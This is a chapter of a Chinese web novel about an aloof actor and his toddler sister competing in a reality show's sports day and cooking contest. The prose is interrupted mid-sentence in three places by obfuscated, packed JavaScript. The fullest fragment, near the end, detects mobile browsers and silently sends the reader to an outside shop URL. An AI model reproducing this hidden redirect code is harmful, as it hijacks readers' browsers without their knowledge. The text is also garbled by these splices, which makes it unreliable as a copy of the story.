姜牧云看着这一幕,笑得前仰后合:“哥哥你看!孙叔叔好像一只大熊!孙小壮好像一只小熊!大熊追小熊!” 姜牧野嘴角弯了一下:“嗯。” 陈江河和陈小树坐在角落里,安静地吃着早餐。陈小树用筷子夹起一块咸菜,放在陈江河的碗里:“爸爸,你吃。” “谢谢。”陈江河的声音很轻,但很温柔。 姜牧云注意到了这一幕,转头看向姜牧野:“哥哥,你也吃咸菜!” 她拿起一块咸菜,递到姜牧野嘴边。 姜牧野张嘴吃了。 “好吃吗?” “嗯。” “那你再吃一块!” “不用了,你自己吃。” “不行!哥哥要多吃点!哥哥太瘦了!”她又拿起一块咸菜,塞到姜牧野嘴里。 姜牧野嚼着咸菜,表情复杂。 他记得自己昨天才说过“不要以貌取人”,今天就被妹妹用咸菜投喂了。 而且他居然觉得挺幸福的。 早饭过后,节目组安排了第二个活动——亲子运动会。 活动内容很简单:四组家庭参加三项比赛——两人三足、背对背运球、和拔河。 第一项:两人三足。 规则是把家长和孩子的一条腿绑在一起,然后一起跑向终点。 姜牧野蹲下来,把姜牧云的小短腿和自己的长腿绑在一起。他的腿又长又粗,姜牧云的腿又短又细,绑在一起的效果就像是把一根筷子和一根牙签捆在了一起。 “哥哥,我们要一起跑哦!”姜牧云认真地说,“我喊一二一,我们一起迈腿!” “好。” “预备——开始!” 姜牧云大喊:“一!二!一!” 姜牧野迈出了左腿。 姜牧云迈出了右腿。 完美同步。 “二!一!二!” 又同步了。 “一!二!一!” 他们像一台精密的机器一样,一步一步地向前走。姜牧云的步子小,姜牧野就刻意放慢速度,每一步都配合她的节奏。 其他几组就没这么顺利了。 孙磊和孙小壮——孙磊的腿太长了,一步顶孙小壮三步。孙小壮拼命地迈腿,但还是跟不上,最后整个人被孙磊拖着走,像一只被拽着的小乌龟。 “爸爸!你慢点!!!”孙小壮大喊。 “我已经很慢了!!!”孙磊大喊回去。 “你一步顶我三步!!!” “那你就迈三步!” “我迈不了那么快!!!” 父子俩一边吵一边往前冲,歪歪扭扭地跑向终点。 苏瑶和林恬恬——苏瑶穿了一双高跟鞋(是的,亲子运动会她穿了高跟鞋),跑起来一瘸一拐的。林恬恬的裙子太长,跑的时候踩到了裙摆,差点摔倒。 “妈妈,你为什么要穿高跟鞋!”林恬恬抱怨。 “因为好看呀!” “可是我们在跑步!” “我知道!我错了!” 陈江河和陈小树——这对父子配合得最好。陈江河的步子不大,陈小树的步子不小,两人默契十足,稳稳当当地往前走。 但最快最稳的,是姜牧野和姜牧云。 他们几乎是跑着冲向终点的。姜牧云的小短腿飞快地倒腾着,像一台小马达。姜牧野配合着她的节奏,每一步都精准地踩在她的步点上。 “哥哥!我们赢了!”冲过终点线的那一刻,姜牧云欢呼起来。 姜牧野低头解绑带,嘴角弯了一下。 “是你赢的。”他说。 “是我们一起赢的!”姜牧云纠正他,“没有哥哥,姜牧云一个人赢不了!” 她伸出小手,要跟姜牧野击掌。 姜牧野看了看她的小手掌——小小的、肉肉的,掌心里还有早上吃馒头时沾的面粉。 他伸出手,跟她击了一下掌。 啪。 声音很轻。 但姜牧云笑得像赢了全世界。 第二项比赛:背对背运球。 规则是家长和孩子背对背站着,把一个气球夹在背中间,然后一起走到终点,气球不能掉也不能破。 姜牧野和姜牧云背对背站着。 姜牧野的身高是一米八七,姜牧云的身高是九十三厘米。 节目组给的气球是标准尺寸的。 当姜牧野弯下腰,把气球夹在自己和姜牧云的背中间时,气球的位子大概在他的腰部和姜牧云的后脑勺之间。 “哥哥,我看不到路了!”姜牧云喊,因为气球卡在她的后脑勺上,她的脖子被往前推,只能看到天空。 “你低头。” “低头也看不到!只能看到地!” “那就看地。” “可是要看路才能走呀!” “我来看路,你跟着我的步伐走。” “好!” 他们开始走。 姜牧野弯着腰,一步一步地往后退。姜牧云低着头,一步一步地往前走。两人的步调出奇地一致,气球稳稳地夹在中间。 走到一半的时候,姜牧云忽然问:“哥哥,你的腰酸不酸?” “不酸。” “骗人!你弯了这么久肯定酸!” “不酸。” “那你为什么一直在吸气?” “……因为我在深呼吸。” “深呼吸是因为疼!阿姨说疼的时候要深呼吸!” “姜牧云,专心走路。” “可是我在关心你!” “到了终点再关心。” “好吧……” 他们顺利地到达了终点,气球完好无损。 姜牧野直起腰的时候,发出了一声极其轻微的“嘶”。 他的腰确实酸。 但姜牧云没有听到那声“嘶”。因为她正兴奋地围着气球转圈:“哥哥!我们又没有掉!我们又赢了!” 姜牧野揉了揉后腰,面无表情地说:“嗯。” 他看了一眼其他组—— 孙磊和孙小壮的气球在半路就爆了,因为孙磊的背太宽,把气球挤爆了。孙小壮被气球的爆炸声吓了一跳,一屁股坐在了地上,然后嚎啕大哭。孙磊手忙脚乱地安慰儿子,结果自己也摔了一跤,父子俩滚成一团。 苏瑶和林恬恬的气球在半路掉了,因为苏瑶的高跟鞋踩到了一颗小石子,整个人歪了一下,气球就从背中间滑了出去,飘到了天上。林恬恬追着气球跑,裙子又被绊住了,扑倒在了草坪上。 陈江河和陈小树的气球也掉了,但原因比较特殊——陈小树停下来给气球拍了一张照片,然后气球就飘走了。 姜牧云看到陈小树给气球拍照,好奇地问:“哥哥,那个哥哥为什么要给气球拍照?” “因为他喜欢拍照。” “可是气球会飘走的呀!拍了照也留不住气球。” “照片可以留住回忆。” “可是气球飘走了,回忆还在吗?” “在。” “那如果没有拍照,回忆还在吗?” “也在。” “那为什么还要拍照?” 姜牧野想了想:“因为有些人怕自己会忘记。” 姜牧云歪着头想了很久,然后认真地说:“姜牧云不会忘记。姜牧云会把所有跟哥哥在一起的回忆都记住。不用拍照也能记住。” 姜牧野看着她。 “为什么?”他问。 “因为——”姜牧云指了指自己的胸口,“所有跟哥哥有关的回忆,都存 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比赛开始前,姜牧野把姜牧云安排在队伍的最后一个位置,让她负责“压阵”。 “哥哥,压阵是什么意思?”姜牧云好奇地问。 “就是站在最后面,拉住绳子。” “可是姜牧云很小只呀!拉不住怎么办?” “你不需要拉,你只需要站在那里就行了。” “为什么?” “因为你在最后面,绳子就会变长。” “绳子变长有什么用?” “绳子变长,对方的力气就会被分散。” “真的吗?” “真的。” 姜牧野在胡说八道。他只是想让姜牧云参与进来,又不至于被绳子拉伤。 但姜牧云信了。 她站在队伍的最后面,双手紧紧握住绳子,表情严肃得像一个正在执行秘密任务的特工。 “预备——开始!” 裁判一声令下,双方同时发力。 孙磊那一队的力量明显更强——他一个人就顶得上两个人。绳子瞬间往他们那边偏移了一大截。 “拉!!!用力拉!!!”孙磊大喊,青筋暴起。 姜牧野咬着牙,双脚蹬地,身体后仰,使出全身的力气往回拉。他的手臂肌肉线条在阳光下清晰可见,像雕塑一样。 陈江河也在用力拉,他的脸涨得通红,额头上青筋暴起。 但绳子还是一点一点地往孙磊那边移动。 就在所有人都以为孙磊队要赢的时候—— “啊啊啊啊啊——” 一声奶声奶气的大喊从队伍最后面传来。 姜牧云闭着眼睛,咬着牙,整个人后仰到几乎跟地面平行,双手死死地攥着绳子,小脸涨得通红,两个小揪揪因为用力过度而颤抖着。 “姜牧云在——压阵!!!你们——谁都——别想——赢!!!” 她每喊一个词就用力拉一下绳子,节奏感极强。 然后—— 绳子停了。 不是往孙磊那边移动了,而是停在了中间。 姜牧野感觉到绳子上的张力发生了变化——最后面那个三岁半的小团子,虽然力气小得可以忽略不计,但她的存在本身,就像一颗定心丸。 她在后面,所以他要赢。 他不能在她面前输。 姜牧野深吸一口气,猛地发力—— “拉!!!” 绳子开始往回移动。 陈江河也拼了,他大喊一声,双脚在地上蹬出了两个坑。 姜牧云在最后面继续她的“压阵大法”,一边拉一边喊:“姜牧云——最厉害——姜牧云——第一名——” 绳子越过了中线。 “嘟——!!!”裁判吹响了哨子,“蓝队获胜!” “赢了!!!我们赢了!!!”姜牧云松开绳子,一屁股坐在了草地上,然后开始打滚,“哥哥!我们赢了!姜牧云赢了!” 姜牧野松开绳子,转过身,看到她躺在草地上打滚,两个小揪揪上沾满了草屑和泥土。 他走过去,蹲下来,把她从草地上捞起来。 “你赢了。”他说。 “是我们赢了!”姜牧云纠正他,然后张开双臂,“哥哥抱!” 姜牧野把她抱起来。小姑娘搂着他的脖子,把脸贴在他的肩膀上,小声说:“哥哥,我好开心。” “嗯。” “你开不开心?” “开心。” “那你为什么不笑?” 姜牧野沉默了一秒。 然后他笑了。 不是那种零点五毫米的微动,也不是那种一秒就收回的浅笑。 而是一个完整的、真切的、眼角都弯起来的笑容。 阳光照在他的脸上,照在那个笑容上。 姜牧云看到了。 她伸出小手,戳了戳他的脸颊。 “哥哥,你笑起来真好看。”她认真地说,“你应该多笑笑。” 姜牧野把笑容收回去了一点,但没有完全收回去。 还留了零点五毫米。 “走吧,”他说,“去吃午饭。” “好!”姜牧云搂紧他的脖子,“哥哥,我想吃草莓冰淇淋。” “上午已经吃过零食了。” “可是赢了比赛要奖励呀!” “谁说的?” “姜牧云说的!” “不算。” “那谁说的才算?” “我说了算。” “那你说赢了比赛要奖励!” “……我不会说的。” “那我帮你说!”姜牧云清了清嗓子,模仿姜牧野低沉的声音,“‘姜牧云,赢了比赛,奖励一个草莓冰淇淋!’” “我声音没那么低。” “有!你早上起床的时候比这还低!像一个大提琴!” “……你知道大提琴是什么?” “知道!阿姨手机上听过!大提琴的声音嗡嗡嗡的,跟哥哥早上说话一模一样!” 姜牧野决定回去之后给阿姨打电话,让她少给姜牧云听大提琴曲。 多听点钢琴曲。钢琴的声音比较正常。 至少比他正常。 午饭时间,节目组准备了自助餐。 姜牧云坐在餐桌前,面前摆了一盘食物:一小块披萨、几根薯条、一小碗水果沙拉,还有一个草莓冰淇淋。 “哥哥说了赢了比赛有奖励的!”她理直气壮地对姜牧野说。 姜牧野没有反驳。因为确实是他给她的。 他看着姜牧云拿起草莓冰淇淋,小心翼翼地舔了一口,然后眯起眼睛,露出一个极其满足的表情。 “好吃吗?”他问。 “超级好吃!”姜牧云又舔了一口,“哥哥你要不要尝一口?” 她把冰淇淋举到姜牧野嘴边。 姜牧野犹豫了一下,张嘴咬了一小口。 草莓的甜味在嘴里化开,带着奶香和冰凉的口感。 “好吃吗?”姜牧云期待地看着他。 “嗯。” “那你再吃一口!” “不用了,你吃。” “不行!哥哥要多吃点甜的!阿姨说吃甜的会让人心情好!” “我心情很好。” “骗人!你都没笑!” “心情好不一定非要笑。” “可是笑了就代表心情更好呀!我想让哥哥心情更好!” 她又把冰淇淋举过来。 姜牧野又咬了一口。 “心情更好了吗?” “……嗯。” “那再吃一口!” “姜牧云,你再让我吃,冰淇淋就没了。” “没关系!冰淇淋没了可以再买!哥哥心情好比较重要!” 姜牧野看着她。 三岁半的小孩,说出来的话,有时候比成年人还通透。 他忽然想起一个词——赤子之心。 大概就是这个意思吧。 一颗纯粹的、不掺杂任何杂质的心,里面装着的全是爱。 给出去的时候,毫不犹豫。 因为在她看来,爱是取之不尽用之不竭的。 给得越多,心里就越多。 姜牧野伸手,揉了揉她的头顶。 “你吃吧,”他说,“我心情已经很好了。” “真的吗?” “真的。” “那你笑一个!” “……姜牧云。” “好吧好吧,不笑就不笑。”她吐了吐舌头,低头继续吃冰淇淋。 但她一边吃一边偷偷看姜牧野,嘴角弯弯的,像在打什么小算盘。 姜牧野假装没看到。 他拿起一块披萨,咬了一口。 嘴角,一直弯着。 7. 午睡时间 午饭后,节目组安排了两个小时的休息时间。 姜牧野带着姜牧云回到他们的小院。小姑娘今天上午玩得太疯了,吃完午饭就开始打哈欠,眼皮像挂了铅块一样往下沉。 “哥哥,我不想睡觉。”她坐在沙发上,揉着眼睛说,声音已经带着困意了。 “那你想做什么?” “我想……想……”她又打了一个哈欠,“想听故事。” “什么故事?” “唔……哥哥讲一个故事。” “我不会讲故事。” “会的!你上次讲的那个‘小兔子找胡萝卜’就很好听!” “那个故事是你自己讲的。” “是吗?”姜牧云想了想,“那我再讲一个!从前有一只小兔子——” “你不是要听我讲吗?” “可是你说你不会讲呀!” “那你讲。” “好!”姜牧云清了清嗓子,“从前有一只小兔子——” 又打了个哈欠。 “它去找胡萝卜——” 又一个哈欠。 “然后它找到了——” 哈欠。 “然后就——就——” 她的眼睛终于闭上了,脑袋一歪,靠在了沙发靠背上。 睡着了。 前后不到三十秒。 姜牧野看着她秒睡的样子,嘴角弯了一下。 他从房间里拿出一条毯子,盖在她身上。然后坐在她旁边,拿起一本随手放在茶几上的杂志,安静地翻看。 院子里的槐树沙沙作响,风吹过来,带着花田的香气。 阳光透过窗户洒进来,在木地板上投下斑驳的光影。 姜牧云在睡梦中翻了个身,小脚丫从毯子里伸出来,五个脚趾头像五颗小豆子,圆滚滚的。 姜牧野低头看了一眼她的脚丫,伸手把毯子往下拉了拉,盖住她的脚。 然后他继续翻杂志。 翻了大概十分钟,他的手机震动了。 是周导发来的消息。 周导:姜老师,下午的活动是“亲子烹饪比赛”,每组家庭需要做一道菜,由评委打分。时间是三点开始。 姜牧野看了一眼时间——下午一点半。 他回了一个字:好。 周导:需要提前准备什么食材吗?可以告诉我们,节目组会准备。 姜牧野想了想,回复:鸡蛋、面粉、糖、牛奶。 周导:要做蛋糕? 姜牧野:不是。做煎饼。 周导:……煎饼? 姜牧野:嗯。云云只会做这个。 周导:好的,我让后勤准备。 姜牧野锁上屏幕,低头看了一眼姜牧云。 小姑娘睡得正香,嘴角还挂着一丝口水,顺着脸颊流到了沙发上。 他拿纸巾轻轻擦掉她的口水。 动作很轻。 她没有醒。 下午两点四十五分,姜牧云自然醒了。 她睁开眼的第一件事,是看了看周围,确认姜牧野还在旁边。 “哥哥。” “嗯。” “我睡了多久?” “一个多小时。” “好久呀!我做了好多梦!” “什么梦?” “梦见了一只大兔子!好大的兔子!比你还大!它在吃胡萝卜!吃得好香!然后它问我吃不吃,我说吃!然后它就给我了一根胡萝卜!然后我就吃了!” “好吃吗?” “好吃!但是胡萝卜是假的!是棉花糖做的!兔子也是假的!是棉花糖做的!整个梦都是棉花糖做的!” “……那你的牙齿还好吗?” “好的呀!棉花糖又不会蛀牙!” “棉花糖会蛀牙。” “不会!棉花糖是软的!蛀虫喜欢吃硬的!” “……谁告诉你的?” “我自己想的!蛀虫咬不动棉花糖,因为棉花糖会黏住它们的牙齿!” 姜牧野决定不跟她争论蛀虫的饮食习惯。 “起来吧,下午有活动。” “什么活动?” “亲子烹饪比赛。” 姜牧云的眼睛瞬间亮了,亮得像是有人在她脑子里放了一颗烟花。 “烹饪比赛!!!我们要做煎饼吗!!!” “嗯。” “耶!!!姜牧云的煎饼是全世界最好吃的!!!” 她从沙发上蹦起来,毯子滑到地上,兔子玩偶也被甩飞了,精准地砸在了姜牧野的脸上。 姜牧野面无表情地把兔子玩偶从脸上拿下来。 “姜牧云。” “对不起哥哥!我不是故意的!”她赶紧跑过来,踮着脚尖看他的脸,“疼不疼?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你说过的!你说‘嗯’!嗯就是好吃的意思!” “‘嗯’只是表示我知道了。” “才不是!你每次说‘嗯’的时候,嘴角都会弯一下!那就代表好吃!” 姜牧野下意识地摸了摸自己的嘴角。 没有弯。 他在心里叹了口气。 这个三岁半的小孩,比他合作过的任何一个导演都会观察演员的表情。 而且她的分析准确率是百分之百。 这让他有点慌。 8. 烹饪比赛 下午三点的亲子烹饪比赛,在村子的公共厨房举行。 厨房很大,有四个操作台,每组家庭一个。操作台上摆满了各种食材和调料,墙上挂着锅碗瓢盆,空气中弥漫着面粉和香料的味道。 姜牧云站在操作台前面,因为太矮了,只能露出一个脑袋和两个小揪揪。 “哥哥,我看不到台面!”她喊。 姜牧野从旁边搬了一把椅子过来,让她站在椅子上。 现在她终于能看到了。 “哥哥,我们做什么煎饼?”她兴奋地问。 “你想做什么口味?” “草莓味的!” “这里没有草莓。” “那……香蕉味的!” “有香蕉。” “好!那就香蕉煎饼!” 姜牧野从食材篮里拿出香蕉、鸡蛋、面粉、牛奶和糖。姜牧云站在椅子上,撸起袖子(虽然她穿的是短袖),开始指挥。 “哥哥,你把香蕉压成泥!要很碎很碎的那种!” 姜牧野拿起叉子,开始压香蕉。 “哥哥,你压得太慢了!我来!”她抢过叉子,开始自己压。但因为力气太小,压了半天只压出了一点点香蕉泥。 “还是我来吧。”姜牧野拿回叉子。 “不要!姜牧云自己来!自己的煎饼自己做!” “那你什么时候能压完?” “……大概明天。” “姜牧云。” “好吧好吧,哥哥帮我。”她不情不愿地把叉子交给他,“但是你要压得很碎哦!不能有块块!不然煎饼不好吃!” 姜牧野用三倍速压完了香蕉泥。 “接下来呢?” “打鸡蛋!”姜牧云拿起一个鸡蛋,“哥哥你看!姜牧云会打鸡蛋!” 她拿着鸡蛋在碗边敲了一下——力道太轻了,鸡蛋没破。 又敲了一下——还是没破。 又敲了一下——这次力道大了,鸡蛋碎了,蛋液溅了她一手,蛋壳也掉进了碗里。 “……”姜牧云低头看着自己黏糊糊的手,表情逐渐凝固。 “哥哥,我的手黏黏的。”她小声说。 “我知道。” “好恶心。” “那你刚才为什么要自己打鸡蛋?” “因为我想证明姜牧云很厉害!” “那你证明了吗?” “……没有。”她的嘴巴瘪了起来,眼睛里开始蓄水,“姜牧云好笨……” “你不笨。”姜牧野拿纸巾擦掉她手上的蛋液,“你只是还没学会。第一次做不好很正常。” “真的吗?” “真的。” “那哥哥你第一次做煎饼的时候也把蛋壳掉进去了吗?” “……我没有第一次做煎饼。” “为什么?” “因为我第一次做的是泡面。” “那泡面做得好吗?” “……锅烧糊了。” 姜牧云愣了一下,然后“噗嗤”一声笑了出来:“哈哈哈哈!哥哥好笨!煮泡面都能把锅烧糊!” “你还笑?你刚才也把蛋壳掉进去了。” “可是我没有把锅烧糊呀!” “你还没到烧锅的步骤。” “那不一定!也许我不会烧糊呢!” “你连蛋都不会打。” “哥哥!!!”姜牧云鼓起腮帮子,“你能不能鼓励我一下!” 姜牧野看着她鼓起来的腮帮子,沉默了一秒。 “你可以的。”他说。 姜牧云的腮帮子瘪了下去,换成了一个笑容:“这还差不多!” 接下来,姜牧野负责打鸡蛋(这次没有蛋壳),姜牧云负责搅拌。她拿着打蛋器,在碗里画圈圈,但因为手太小了,打蛋器总是从手里滑出去。 “哥哥,它不听话!” “你握紧一点。” “我握紧了!可是它还是滑!” “那你两只手一起。” 姜牧云用两只小手握住打蛋器,这次稳多了。她认真地搅拌着,小脸因为用力而微微泛红。 “哥哥,你看!变成黄色的了!好漂亮!” “嗯。” “接下来放面粉!” 姜牧野把面粉递给她。她拿起一个量杯,舀了一杯面粉,然后往碗里倒—— 面粉飘得到处都是。 她的脸上、头发上、围裙上、操作台上,全是白色的面粉。 她眨了眨眼睛,睫毛上的面粉飘了下来,像下了一场小雪。 “哥哥,我好像一个雪人。”她认真地说。 姜牧野看着她那张被面粉糊了一半的小脸,嘴角没忍住弯了一下。 “你是一个面粉人。” “面粉人是什么?” “就是全身都是面粉的人。” “那哥哥也是面粉人!”她抓起一把面粉,撒向姜牧野。 姜牧野的白T恤上立刻多了几个白色手印。 “姜牧云。” “对不起哥哥!我不是故意的!”她捂住嘴偷笑,“我只是想让你也变成面粉人!” “我不需要变成面粉人。” “可是一个人当面粉人好孤单呀!两个人一起当才好玩!” 姜牧野深吸一口气。 他告诉自己:这是你妹妹,你不能生气。她只有三岁半。她只是觉得好玩。她不是故意的。 然后他拿起一把面粉,撒在了姜牧云的头上。 姜牧云愣住了。 她抬起头,面粉从她的头顶飘落下来,像雪花一样洒在她的脸上、肩膀上、手上。 然后她笑了。 笑得特别大声,特别开心,特别—— 像一个小疯子。 “哥哥你也撒我了!你也是面粉人!我们都是面粉人!” 她在椅子上蹦了起来,围裙上的面粉飞得到处都是。 姜牧野伸手扶住她:“别蹦,会摔倒——” 话还没说完,姜牧云的脚踩到了围裙的边边,整个人往前倾—— 姜牧野一把捞住了她。 小姑娘悬在半空中,身上全是面粉,脸上全是笑容。 “哥哥你又接住我了!”她咯咯地笑。 “我说过多少次了,不要——” “不要蹦!我知道!但是哥哥你会接住我的呀!” “我不能每次都接住你。” “为什么不能?” “因为……总会有意外。” “不会的!因为哥哥你每次都会认真看着我!只要你看着我,就不会有意外!” 姜牧野把她放回椅子上,拍了拍她身上的面粉。 “下次还是小心一点。”他说。 “好!”姜牧云答应得爽快,但姜牧野知道,她下次还是会蹦。 因为她相信他。 这种毫无保留的信任,让他既感动又压力山大。 旁边操作台,孙磊和孙小壮在做红烧肉。 孙磊系着一条印着“厨神”二字的围裙,正在锅里翻炒着五花肉。孙小壮站在旁边,负责递调料。 “爸爸,盐!” “给!” “爸爸,糖!” “给!” “爸爸,酱油!” “给!” “爸爸,水!” “给!” “爸爸,火!” “……火不能递。” “那我帮你吹火!”孙小壮对着灶台使劲吹了一口气。 火没灭,他的刘海被烤卷了。 孙磊:“……” 苏瑶和林恬恬在做水果沙拉。 苏瑶正在切水果,林恬恬在旁边摆盘。她把切好的苹果片摆成花朵的形状,中间放了一颗草莓作为花心。 “妈妈,好看吗?”她举起盘子。 “好看!恬恬好棒!” “那云云会喜欢吗?” “应该会吧!” “那我要把这个送给云云!”林恬恬认真地说,“因为云云是我最好的朋友!” 苏瑶笑了:“你们才认识一天就是最好的朋友了?” “一天就够了!”林恬恬说,“妈妈说,好朋友不需要认识很久,只需要心里喜欢就够了!” 苏瑶愣了一下,然后笑了:“我说过这话吗?” “说过!你说你第一次见到爸爸的时候就喜欢他了!” 苏瑶的脸“唰”地红了:“恬恬!这个不要在外面说!” “为什么呀?” “因为……因为这是妈妈的秘密!” “可是你说了不要藏秘密的!秘密会让人生病! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈江河不好意思地笑了:“谢谢奶奶。” 最后,老奶奶看向姜牧野和姜牧云的香蕉煎饼。 煎饼的样子……不太好看。 因为姜牧云在倒面糊的时候,倒出了一个奇怪的形状——看起来像一只长了三条腿的猫。 “这是什么形状?”老奶奶好奇地问。 “这是土豆!”姜牧云骄傲地说,“土豆是我哥哥的袜子!不对,是我养的狗狗!” 老奶奶:“……” 她拿起筷子,夹了一块煎饼,放进嘴里。 嚼了两下。 表情变了。 “嗯?”她又嚼了几下,“嗯嗯?” “怎么了奶奶?”小林紧张地问。 “这个煎饼……”老奶奶又夹了一块,“好吃。” “真的吗?”姜牧云的眼睛亮了。 “真的。香蕉的甜味和面粉的香气融合得很好,煎得外酥里嫩,火候刚刚好。”老奶奶看向姜牧野,“这是谁做的?” “我们一起做的!”姜牧云抢着回答,“我负责搅拌和倒面糊!哥哥负责煎!虽然我的面糊倒成了一个奇怪形状!但是好吃就行了!对不对奶奶?” 老奶奶笑了:“对,好吃就行了。” 她顿了顿,又说:“而且这个形状挺有创意的。像一只猫。” “是土豆!是狗狗!”姜牧云纠正她。 “好好好,是狗狗。”老奶奶笑着摸了摸她的头,“小朋友,你很有做饭的天赋。” 姜牧云骄傲地挺起胸膛:“因为我是姜牧云!” 比赛结果公布—— 第一名:陈江河和陈小树的蛋炒饭。 第二名:姜牧野和姜牧云的香蕉煎饼。 第三名:孙磊和孙小壮的红烧肉。 第四名:苏瑶和林恬恬的水果沙拉。 “耶!第二名!”姜牧云欢呼起来,然后转头看姜牧野,“哥哥,第二名也很厉害对不对?” “对。” “比第一名差一点点对不对?” “嗯。” “那下次我们做第一名!” “好。” “拉钩!” 她伸出小拇指。姜牧野也伸出小拇指,跟她勾在一起。 “拉钩上吊,一百年不许变!” 盖章的时候,姜牧云的手指头上还沾着面粉。 姜牧野的指腹上,留下了一个小小的白色印记。 他没有擦掉。 9. 夜晚的对话 晚上八点,节目组安排了最后一个环节——“写给家人的信”。 每组家庭需要在院子里,念出自己写给家人的信。 孙磊第一个念。 他站在院子里,手里拿着一张纸,清了清嗓子。 “给小壮的信。” “小壮,爸爸以前是个运动员,拿过奥运会铜牌。爸爸一直觉得,金牌才是最好的。但是有了你之后,爸爸的想法变了。” “你不是金牌,你比金牌还好。因为金牌会生锈,你不会。金牌会被人忘记,你不会。因为你是爸爸的儿子,爸爸永远不会忘记你。” “爸爸希望你健康、快乐、强壮。不是强壮在身体上,是强壮在心里。不管遇到什么事,都要像爸爸教你游泳时说的——憋住气,蹬腿,总会浮上来的。” 他念完之后,孙小壮跑过去抱住了他的腿。 “爸爸,我没有听懂你说的那些话。”孙小壮老实地说。 孙磊哈哈大笑:“没关系,长大了就懂了。” “但是我知道一件事——爸爸爱我。” 孙磊的笑声停了。 他蹲下来,把儿子抱在怀里。 “对,”他说,“爸爸爱你。” 苏瑶第二个念。 “给恬恬的信。” “恬恬,妈妈是个演员,经常要拍戏,不能天天陪你。每次出门的时候,你都会抱着妈妈的腿说‘妈妈不要走’。妈妈每次都很心疼,但是还是要走。” “妈妈想跟你说对不起。对不起不能每天陪你吃饭、陪你睡觉、陪你上学。但是妈妈保证,每次回家的时候,都会给你带最好的礼物——不是玩具,不是裙子,是妈妈的拥抱。” “恬恬,你是妈妈这辈子演过最好的角色。不是演戏的角色,是人生的角色。做你的妈妈,是妈妈最骄傲的事。” 她念完之后,眼眶红了。 林恬恬走过去,用小手擦掉她脸上的眼泪。 “妈妈不要哭,”她说,“我不怪你。我知道你是去工作的。你工作完了就会回来陪我的。” 苏瑶哭得更厉害了。 林恬恬叹了口气,用一种“我早就习惯了”的语气说:“妈妈每次念信都会哭。上次幼儿园念信也哭了。上上次也哭了。” 全场忍俊不禁。 陈江河第三个念。 他站起来的时候,手有些抖。 “给小树的信。” “小树,爸爸一个人带你,有时候会觉得累。不是因为你不好,是因为爸爸有时候会觉得自己不够好。不能给你一个完整的家,不能让你像其他小朋友一样有妈妈。” “但是小树,你知道吗?你从来都没有抱怨过。你五岁了,从来没有问过‘为什么我没有妈妈’。你只是在爸爸累的时候,给爸爸倒一杯水。在爸爸难过的时候,给爸爸拍一张照片。你说‘爸爸笑一笑,我给你拍一张好看的照片’。” “小树,爸爸想告诉你——你已经足够好了。你一个人,就足够让爸爸觉得幸福了。” “你是爸爸的小树。爸爸会一直给你浇水、给你阳光、给你土壤。你只需要——慢慢长大。” 他念完之后,陈小树走到他面前,举起相机,对着他拍了一张照片。 “爸爸,你刚才笑了。”陈小树说,“很好看。” 陈江河的眼泪终于掉了下来。 最后,轮到姜牧野。 他站在院子里,手里没有信纸。 “我没有写信。”他说。 全场安静。 “因为我想说的话,不需要写下来。” 他低头看向姜牧云。 小姑娘坐在竹椅上,仰着头看他,葡萄眼里映着月光和灯光。 “姜牧云,”他说,“你三岁半了。” “嗯。”她点头。 “你来到这个世界的那一天,我在医院走廊上等了四个小时。你出生的时候很小,很红,很皱,像一颗没长熟的桃子。” 姜牧云鼓起腮帮子:“我才不是桃子!” 全场笑了。 姜牧野的嘴角弯了一下:“你是桃子。但是是最好看的那颗桃子。” 姜牧云的腮帮子瘪了下去,脸红了。 “你握住我手指的那一刻,我就知道——这辈子,我要对你好。” “不是因为你是我妹妹,而是因为你选择了我。你那么多手指可以握,你偏偏握住了我的。所以这不是责任,这是缘分。” “你两岁的时候,第一次叫‘哥哥’。你叫的不是‘哥哥’,是‘得得’。因为你发不出‘ge’的音。” “你叫了大概三个月的‘得得’,才改成了‘哥哥’。但有时候着急了还是会叫‘得得’。比如你摔倒的时候,比如你害怕的时候,比如你做噩梦的时候。” “你每次叫‘得得’,我都会回头。不管我在做什么,不管我在哪里。因为你叫的不是‘哥哥’,你叫的是‘我需要你’。” “姜牧云,我想告诉你——你永远可以叫我。不管你是三岁半,还是十三岁,还是三十岁。不管你是叫我‘得得’还是‘哥哥’,不管你是需要我帮你擦嘴,还是需要我帮你擦眼泪。” “你永远可以叫我。” “因为——” 他停了一下。 月光照在他的脸上,那张总是冷冰冰的脸,此刻温柔得像是被月光泡软了。 “因为被你叫‘得得’,是我这辈子听过的最好听的声音。” 院子里安静极了。 没有人说话,没有人动。 连风吹过槐树叶子的声音都变小了,好像在屏住呼吸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437536|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜牧云坐在竹椅上,仰着头,葡萄眼里蓄满了泪水。 她没有哭出来,但眼泪在眼眶里打转,亮晶晶的,像两颗含在蚌壳里的珍珠。 “哥哥,”她说,声音哑哑的,“你过来。” 姜牧野蹲下来,跟她平视。 姜牧云伸出小手,捧住了他的脸。 她的手很小,只能捧住他半边脸。掌心暖暖的,带着面粉的香气和草莓沐浴露的味道。 “哥哥,”她看着他的眼睛,一个字一个字地说,“你也是姜牧云这辈子最喜欢的人。” “不是因为你是我的哥哥,是因为你愿意做我的哥哥。” “你本来可以不管我的。你那么忙,那么累,那么多人需要你。但是你每次都选择了我。” “你选择给我擦嘴,选择接住我,选择陪我聊天,选择听我说那些无聊的话。” “你选择了我。” “所以我也选择你。” “永远。” 她说完,踮起脚尖,在他的额头上亲了一下。 很轻。 像一片花瓣落在水面上。 姜牧野闭上了眼睛。 他感觉到那个小小的、软软的嘴唇贴在他的额头上,只有一秒钟,但那一秒钟里,全世界都安静了。 他睁开眼睛的时候,看到了姜牧云的笑脸。 眼泪还挂在她脸上,但她笑得比月光还亮。 “哥哥,”她说,“你的额头好烫哦。” “是吗?” 